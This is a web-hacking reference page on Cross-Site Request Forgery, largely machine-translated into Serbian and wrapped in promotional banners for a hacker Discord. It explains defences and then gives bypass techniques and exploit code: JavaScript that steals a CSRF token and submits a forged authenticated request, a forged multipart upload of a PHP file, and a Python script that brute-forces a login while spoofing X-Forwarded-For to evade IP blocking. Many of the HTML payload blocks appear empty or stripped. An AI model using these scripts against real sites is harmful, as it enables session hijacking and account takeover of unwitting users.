# CSRF (Cross Site Request Forgery) {{#include ../banners/hacktricks-training.md}}
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! **Hacking Insights**\ Engage with content that delves into the thrill and challenges of hacking **Real-Time Hack News**\ Keep up-to-date with fast-paced hacking world through real-time news and insights **Latest Announcements**\ Stay informed with the newest bug bounties launching and crucial platform updates **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! ## Cross-Site Request Forgery (CSRF) Explained **Cross-Site Request Forgery (CSRF)** je vrsta sigurnosne ranjivosti koja se nalazi u web aplikacijama. Omogućava napadačima da izvrše radnje u ime nesvesnih korisnika iskorišćavajući njihove autentifikovane sesije. Napad se izvršava kada korisnik, koji je prijavljen na platformu žrtve, poseti zlonamernu stranicu. Ova stranica zatim pokreće zahteve na račun žrtve putem metoda kao što su izvršavanje JavaScript-a, slanje obrazaca ili preuzimanje slika. ### Prerequisites for a CSRF Attack Da bi se iskoristila CSRF ranjivost, nekoliko uslova mora biti ispunjeno: 1. **Identify a Valuable Action**: Napadač treba da pronađe radnju koja vredi iskorišćavanja, kao što je promena lozinke korisnika, email-a ili povećanje privilegija. 2. **Session Management**: Sesija korisnika treba da se upravlja isključivo putem kolačića ili HTTP Basic Authentication zaglavlja, jer se druga zaglavlja ne mogu manipulisati u tu svrhu. 3. **Absence of Unpredictable Parameters**: Zahtev ne bi trebao sadržati nepredvidive parametre, jer oni mogu sprečiti napad. ### Quick Check Možete **uhvatiti zahtev u Burp** i proveriti CSRF zaštite, a da biste testirali iz pregledača, možete kliknuti na **Copy as fetch** i proveriti zahtev:
### Defending Against CSRF Nekoliko mera zaštite može se implementirati kako bi se zaštitili od CSRF napada: - [**SameSite cookies**](hacking-with-cookies/#samesite): Ova atribut sprečava pregledač da šalje kolačiće zajedno sa zahtevima sa drugih sajtova. [Više o SameSite kolačićima](hacking-with-cookies/#samesite). - [**Cross-origin resource sharing**](cors-bypass.md): CORS politika sajta žrtve može uticati na izvodljivost napada, posebno ako napad zahteva čitanje odgovora sa sajta žrtve. [Saznajte više o CORS zaobilaženju](cors-bypass.md). - **User Verification**: Pitanje za lozinku korisnika ili rešavanje captcha može potvrditi nameru korisnika. - **Checking Referrer or Origin Headers**: Validacija ovih zaglavlja može pomoći da se osigura da zahtevi dolaze iz pouzdanih izvora. Međutim, pažljivo kreiranje URL-ova može zaobići loše implementirane provere, kao što su: - Korišćenje `http://mal.net?orig=http://example.com` (URL se završava sa pouzdanim URL-om) - Korišćenje `http://example.com.mal.net` (URL počinje sa pouzdanim URL-om) - **Modifying Parameter Names**: Promena imena parametara u POST ili GET zahtevima može pomoći u sprečavanju automatizovanih napada. - **CSRF Tokens**: Uključivanje jedinstvenog CSRF tokena u svaku sesiju i zahtev za ovim tokenom u narednim zahtevima može značajno smanjiti rizik od CSRF. Efikasnost tokena može se poboljšati primenom CORS-a. Razumevanje i implementacija ovih odbrana je ključno za održavanje sigurnosti i integriteta web aplikacija. ## Defences Bypass ### From POST to GET Možda je obrazac koji želite da zloupotrebite pripremljen da pošalje **POST zahtev sa CSRF tokenom, ali** trebate **proveriti** da li je **GET** takođe **validan** i da li kada pošaljete GET zahtev **CSRF token još uvek se validira**. ### Lack of token Aplikacije mogu implementirati mehanizam za **validaciju tokena** kada su prisutni. Međutim, ranjivost nastaje ako se validacija potpuno preskoči kada token nije prisutan. Napadači mogu iskoristiti ovo tako što će **ukloniti parametar** koji nosi token, ne samo njegovu vrednost. Ovo im omogućava da zaobiđu proces validacije i efikasno izvrše Cross-Site Request Forgery (CSRF) napad. ### CSRF token is not tied to the user session Aplikacije **koje ne vezuju CSRF tokene za korisničke sesije** predstavljaju značajan **sigurnosni rizik**. Ovi sistemi verifikuju tokene protiv **globalnog bazena** umesto da osiguraju da je svaki token vezan za inicijalnu sesiju. Evo kako napadači iskorišćavaju ovo: 1. **Authenticate** koristeći svoj nalog. 2. **Obtain a valid CSRF token** iz globalnog bazena. 3. **Use this token** u CSRF napadu protiv žrtve. Ova ranjivost omogućava napadačima da šalju neovlašćene zahteve u ime žrtve, iskorišćavajući **neadekvatan mehanizam validacije tokena** aplikacije. ### Method bypass Ako zahtev koristi "**čudan**" **metod**, proverite da li funkcionalnost **override** **metoda** radi. Na primer, ako koristi **PUT** metod, možete pokušati da **koristite POST** metod i **pošaljete**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ Ovo takođe može raditi slanjem **\_method parametra unutar POST zahteva** ili korišćenjem **zaglavlja**: - _X-HTTP-Method_ - _X-HTTP-Method-Override_ - _X-Method-Override_ ### Custom header token bypass Ako zahtev dodaje **prilagođeno zaglavlje** sa **tokenom** kao **metod zaštite od CSRF**, onda: - Testirajte zahtev bez **prilagođenog tokena i takođe zaglavlja.** - Testirajte zahtev sa tačno **istom dužinom, ali različitim tokenom**. ### CSRF token is verified by a cookie Aplikacije mogu implementirati zaštitu od CSRF tako što će duplirati token u kolačiću i parametru zahteva ili postavljanjem CSRF kolačića i verifikovanjem da li token poslat u pozadini odgovara kolačiću. Aplikacija validira zahteve proverom da li se token u parametru zahteva poklapa sa vrednošću u kolačiću. Međutim, ova metoda je ranjiva na CSRF napade ako sajt ima greške koje omogućavaju napadaču da postavi CSRF kolačić u pregledaču žrtve, kao što je CRLF ranjivost. Napadač može iskoristiti ovo tako što će učitati obmanjujuću sliku koja postavlja kolačić, nakon čega pokreće CSRF napad. Ispod je primer kako bi napad mogao biti strukturiran: ```html
``` > [!NOTE] > Imajte na umu da ako je **csrf token povezan sa sesijskim kolačićem, ovaj napad neće uspeti** jer ćete morati da postavite žrtvi vašu sesiju, i stoga ćete napadati sebe. ### Promena Content-Type Prema [**ovome**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), kako biste **izbegli preflight** zahteve koristeći **POST** metodu, ovo su dozvoljene vrednosti Content-Type: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** Međutim, imajte na umu da **logika servera može varirati** u zavisnosti od korišćenog **Content-Type**, tako da biste trebali isprobati pomenute vrednosti i druge poput **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Primer (iz [ovde](https://brycec.me/posts/corctf_2021_challenges)) slanja JSON podataka kao text/plain: ```html
``` ### Zaobilaženje Preflight Zahteva za JSON Podatke Kada pokušavate da pošaljete JSON podatke putem POST zahteva, korišćenje `Content-Type: application/json` u HTML formi nije direktno moguće. Slično tome, korišćenje `XMLHttpRequest` za slanje ovog tipa sadržaja pokreće preflight zahtev. Ipak, postoje strategije koje potencijalno mogu zaobići ovo ograničenje i proveriti da li server obrađuje JSON podatke bez obzira na Content-Type: 1. **Koristite Alternativne Tipove Sadržaja**: Koristite `Content-Type: text/plain` ili `Content-Type: application/x-www-form-urlencoded` postavljanjem `enctype="text/plain"` u formi. Ovaj pristup testira da li backend koristi podatke bez obzira na Content-Type. 2. **Izmenite Tip Sadržaja**: Da biste izbegli preflight zahtev dok osiguravate da server prepoznaje sadržaj kao JSON, možete poslati podatke sa `Content-Type: text/plain; application/json`. Ovo ne pokreće preflight zahtev, ali bi moglo biti ispravno obrađeno od strane servera ako je konfigurisan da prihvati `application/json`. 3. **Korišćenje SWF Flash Fajla**: Manje uobičajena, ali izvodljiva metoda uključuje korišćenje SWF flash fajla za zaobilaženje takvih ograničenja. Za detaljno razumevanje ove tehnike, pogledajte [ovaj post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Zaobilaženje Provere Referrer / Origin **Izbegnite Referrer header** Aplikacije mogu validirati 'Referer' header samo kada je prisutan. Da biste sprečili pretraživač da pošalje ovaj header, može se koristiti sledeći HTML meta tag: ```xml ``` Ovo osigurava da 'Referer' header bude izostavljen, potencijalno zaobilazeći provere validacije u nekim aplikacijama. **Regexp zaobilaženja** {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} Da biste postavili naziv domena servera u URL-u koji će Referrer poslati unutar parametara, možete uraditi: ```html
``` ### **HEAD metoda zaobilaženja** Prvi deo [**ovog CTF izveštaja**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) objašnjava da je [Oak-ov izvorni kod](https://github.com/oakserver/oak/blob/main/router.ts#L281), ruter postavljen da **obrađuje HEAD zahteve kao GET zahteve** bez tela odgovora - uobičajena zaobilaznica koja nije jedinstvena za Oak. Umesto specifičnog handler-a koji se bavi HEAD zahtevima, oni su jednostavno **dati GET handler-u, ali aplikacija samo uklanja telo odgovora**. Stoga, ako je GET zahtev ograničen, možete jednostavno **poslati HEAD zahtev koji će biti obrađen kao GET zahtev**. ## **Primeri eksploatacije** ### **Ekstrakcija CSRF tokena** Ako se koristi **CSRF token** kao **odbrana**, možete pokušati da **ekstrahujete** koristeći [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ranjivost ili [**Dangling Markup**](dangling-markup-html-scriptless-injection/) ranjivost. ### **GET koristeći HTML tagove** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` Ostali HTML5 tagovi koji se mogu koristiti za automatsko slanje GET zahteva su: ```html ``` ### Form GET zahtev ```html
``` ### Form POST zahtev ```html
``` ### Form POST zahtev kroz iframe ```html
``` ### **Ajax POST zahtev** ```html ``` ### multipart/form-data POST zahtev ```javascript myFormData = new FormData() var blob = new Blob([""], { type: "text/text" }) myFormData.append("newAttachment", blob, "pwned.php") fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include", headers: { "Content-Type": "application/x-www-form-urlencoded" }, mode: "no-cors", }) ``` ### multipart/form-data POST zahtev v2 ```javascript // https://www.exploit-db.com/exploits/20009 var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest() xhr.withCredentials = true xhr.open("POST", url, true) // MIME POST request. xhr.setRequestHeader( "Content-Type", "multipart/form-data, boundary=" + boundary ) xhr.setRequestHeader("Content-Length", fileSize) var body = "--" + boundary + "\r\n" body += 'Content-Disposition: form-data; name="' + nameVar + '"; filename="' + fileName + '"\r\n' body += "Content-Type: " + ctype + "\r\n\r\n" body += fileData + "\r\n" body += "--" + boundary + "--" //xhr.send(body); xhr.sendAsBinary(body) ``` ### Form POST zahtev iz unutar iframe-a ```html <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **Ukrao CSRF token i poslao POST zahtev** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() xhr.open("POST", POST_URL, true) xhr.withCredentials = true // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") // This is for debugging and can be removed xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy") } function getTokenJS() { var xhr = new XMLHttpRequest() // This tels it to return it as a HTML document xhr.responseType = "document" xhr.withCredentials = true // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true) xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token") // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value) } } // Make the request xhr.send(null) } var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` ### **Ukrao CSRF token i poslao Post zahtev koristeći iframe, formu i Ajax** ```html
``` ### **Ukrao CSRF token i poslao POST zahtev koristeći iframe i formu** ```html ``` ### **Ukrao token i poslao ga koristeći 2 iframes** ```html
``` ### **POSTUkradite CSRF token pomoću Ajax-a i pošaljite post sa formom** ```html
``` ### CSRF са Socket.IO ```html ``` ## CSRF Login Brute Force Kod se može koristiti za Brut Force login formu koristeći CSRF token (takođe koristi header X-Forwarded-For da pokuša da zaobiđe moguće IP blacklistovanje): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## Alati - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) ## Reference - [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) - [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) ​
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške! **Hacking Uvidi**\ Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja **Vesti o Haku u Realnom Vremenu**\ Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu **Najnovija Obaveštenja**\ Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme **Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas! {{#include ../banners/hacktricks-training.md}}